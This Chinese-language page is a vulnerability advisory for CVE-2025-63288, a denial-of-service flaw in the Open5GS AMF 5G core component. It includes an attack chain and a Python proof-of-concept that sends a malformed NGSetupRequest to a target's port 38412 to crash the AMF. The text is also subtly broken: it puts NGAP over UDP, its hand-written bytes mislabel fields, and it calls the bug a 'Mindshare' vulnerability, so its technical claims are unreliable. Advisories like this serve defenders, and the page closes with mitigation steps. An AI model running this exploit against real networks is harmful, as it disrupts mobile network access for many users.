IPBUF安全漏洞报告
English
CVE-2025-63288 CVSS 7.5 高危

CVE-2025-63288 Open5GS AMF拒绝服务漏洞

披露日期: 2025-11-10

漏洞信息

漏洞编号
CVE-2025-63288
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Open5GS AMF组件

相关标签

拒绝服务Open5GS5G核心网AMFNG接口CVE-2025-63288高危漏洞信令攻击

漏洞概述

CVE-2025-63288是Open5GS项目中发现的拒绝服务漏洞,影响版本为2.7.6。Open5GS是一个开源的5G核心网实现,AMF(Access and Mobility Management Function)是其核心组件之一,负责处理用户的接入和移动性管理功能。该漏洞源于AMF在处理异常的NGSetupRequest消息时缺乏适当的错误处理机制。当攻击者发送格式错误或异常的NGSetupRequest消息时,AMF组件会触发崩溃,导致服务不可用。由于该漏洞可通过网络远程触发且无需认证,攻击者可以在无需任何凭据的情况下对5G核心网的AMF组件发起攻击,造成整个5G网络接入功能瘫痪。此漏洞严重影响5G网络的可用性和可靠性,属于高危安全漏洞。

技术细节

该漏洞位于Open5GS的AMF组件中,具体涉及NGSetupRequest消息处理逻辑。NGSetupRequest是5G NR网络中NG接口建立时的重要信令消息,用于AMF与gNB之间的初始配置。当AMF接收到格式异常、字段缺失或包含恶意构造数据的NGSetupRequest消息时,其内部状态机处理逻辑未进行充分的边界检查和异常捕获,导致内存访问越界或空指针解引用,最终引发进程崩溃。攻击者可通过构造包含畸形数据的NGSetupRequest消息直接发送至AMF的NG接口(默认端口38412),无需任何认证即可触发漏洞。该漏洞的利用复杂度较低,属于典型的心智攻击(Mindshare)漏洞,攻击者只需发送特制的网络数据包即可实现拒绝服务攻击。修复方案需要在AMF的消息处理流程中添加输入验证、异常捕获和错误处理机制。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者识别运行Open5GS 2.7.6的目标网络,确认AMF组件暴露的NG接口(默认端口38412/UDP)
STEP 2
步骤2: 构造攻击载荷
攻击者构造包含异常数据的NGSetupRequest消息,缺少必要字段或包含畸形数据以触发AMF的错误处理缺陷
STEP 3
步骤3: 发送恶意请求
通过UDP协议将特制的NGSetupRequest消息发送至AMF的NG接口,无需任何认证或前置条件
STEP 4
步骤4: 触发漏洞
AMF组件接收到异常消息后,由于缺乏适当的边界检查和异常处理,导致内存访问越界或空指针解引用
STEP 5
步骤5: 服务中断
AMF进程崩溃,无法处理新的接入请求,导致5G网络接入功能完全瘫痪,造成大规模拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-63288 PoC - Open5GS AMF Denial of Service This PoC demonstrates the vulnerability by sending a malformed NGSetupRequest message to trigger a crash in Open5GS AMF component. Note: This code is for educational and authorized security testing purposes only. """ import socket import struct import sys def create_ngap_header(procedure_code, pdu_type): """Create NGAP header for NGSetupRequest""" ngap_pdu = bytes([ 0x00, 0x0f, # NGAP PDU: initiatingMessage 0x00, procedure_code, # procedureCode: ngSetup (15) 0x00, 0x01, # criticality: reject 0x00, pdu_type, # procedureCode: ngSetupRequest (21) 0x00, 0x02 # criticality: reject ]) return ngap_pdu def create_malformed_ngsetup_request(): """ Create a malformed NGSetupRequest message that triggers the vulnerability The vulnerability exists when AMF processes abnormal NGSetupRequest messages """ # NGAP Header header = create_ngap_header(0x0f, 0x15) # Malformed IE (Information Element) with missing required fields # This triggers the vulnerability due to improper error handling malformed_ies = bytes([ 0x00, 0x00, 0x40, 0x01, # Global gNB ID 0x00, 0x00, 0x40, 0x02, # gNB Name (optional, malformed) 0x00, 0x00, 0x40, 0x03, # Supported TA List (malformed) 0x00, 0x00, 0x00, 0x00, # Paging DRX (invalid) ]) return header + malformed_ies def exploit(target_ip, target_port=38412): """ Send malformed NGSetupRequest to trigger DoS """ print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] Creating malformed NGSetupRequest...") payload = create_malformed_ngsetup_request() try: print(f"[*] Sending malicious payload...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) # Send malformed NGSetupRequest sock.sendto(payload, (target_ip, target_port)) print(f"[+] Payload sent successfully") print(f"[*] The malformed message should trigger AMF crash") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 38412 exploit(target, port)

影响范围

Open5GS 2.7.6

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施临时缓解风险:1) 在网络边界部署防火墙或IPS设备,对NG接口流量进行过滤和监控;2) 限制对AMF NG接口(端口38412)的访问,仅允许受信任的gNB设备连接;3) 启用AMF组件的详细日志记录,监控异常消息模式;4) 考虑部署负载均衡器实现AMF故障转移,提高系统可用性;5) 监控AMF进程的运行状态,设置自动告警和恢复机制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表